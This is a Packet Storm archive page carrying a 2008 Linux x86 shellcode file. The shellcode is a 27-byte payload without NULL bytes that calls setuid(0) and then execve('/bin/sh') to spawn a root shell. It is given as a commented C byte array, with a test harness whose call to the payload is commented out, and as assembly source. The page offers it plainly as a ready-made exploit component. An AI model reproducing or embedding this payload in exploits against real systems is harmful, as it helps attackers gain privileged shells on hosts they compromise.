what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

smallnonulls-exec.txt

smallnonulls-exec.txt
Posted Nov 14, 2008
Authored by Chema Garcia | Site opensec.es

27 bytes small GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) shellcode without NULLs.

tags | x86, shellcode
systems | linux
SHA-256 | c0c0138eb0cbf63e6e3e5b1a04fffbf8501663ccd3ea72f3924bcf3011fe0535

smallnonulls-exec.txt

Change Mirror Download
-----------[ C Source Code ]-----------
/*
Smallest GNU/Linux x86 setuid(0) && execve(\"/bin/sh\",0,0) Shellcode
without NULLs

Coded by Chema Garcia (aka sch3m4)
+ sch3m4@opensec.es
+ http://opensec.es
Shellcode Size: 27 bytes
Date: 13/11/2008
*/


#include <stdio.h>

const char shellcode[]= "\x31\xC0" //xor eax,eax
"\x31\xC9" //xor ecx,ecx
"\xB0\x17" //mov al,17h
"\x60" //pusha
"\xCD\x80" //int 80h
"\x61" //popa
"\x51" //push ecx
"\x68\x6E\x2F\x73\x68" //push 0x68732f6e
"\x68\x2F\x2F\x62\x69" //push 0x69622f2f
"\x89\xE3" //mov ebx, esp
"\xB0\x0B" //mov al,0xb
"\xCD\x80"; //int 0x80

int main()
{
printf("Smallest GNU/Linux x86 setuid(0) && execve(\"/bin/sh\",0,0)
Shellcode without NULLs"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@opensec.es"
"\n\t + http://opensec.es"
"\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
//(*(void (*)()) shellcode)();

return 0;
}

-----------[/ C Source Code ]-----------

-----------[ ASM Source Code ]-----------
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h
pusha
int 80h ;setuid
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb
int 0x80;execve

-----------[/ ASM Source Code ]-----------

Greetings,
Chema GarcĂ­a
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close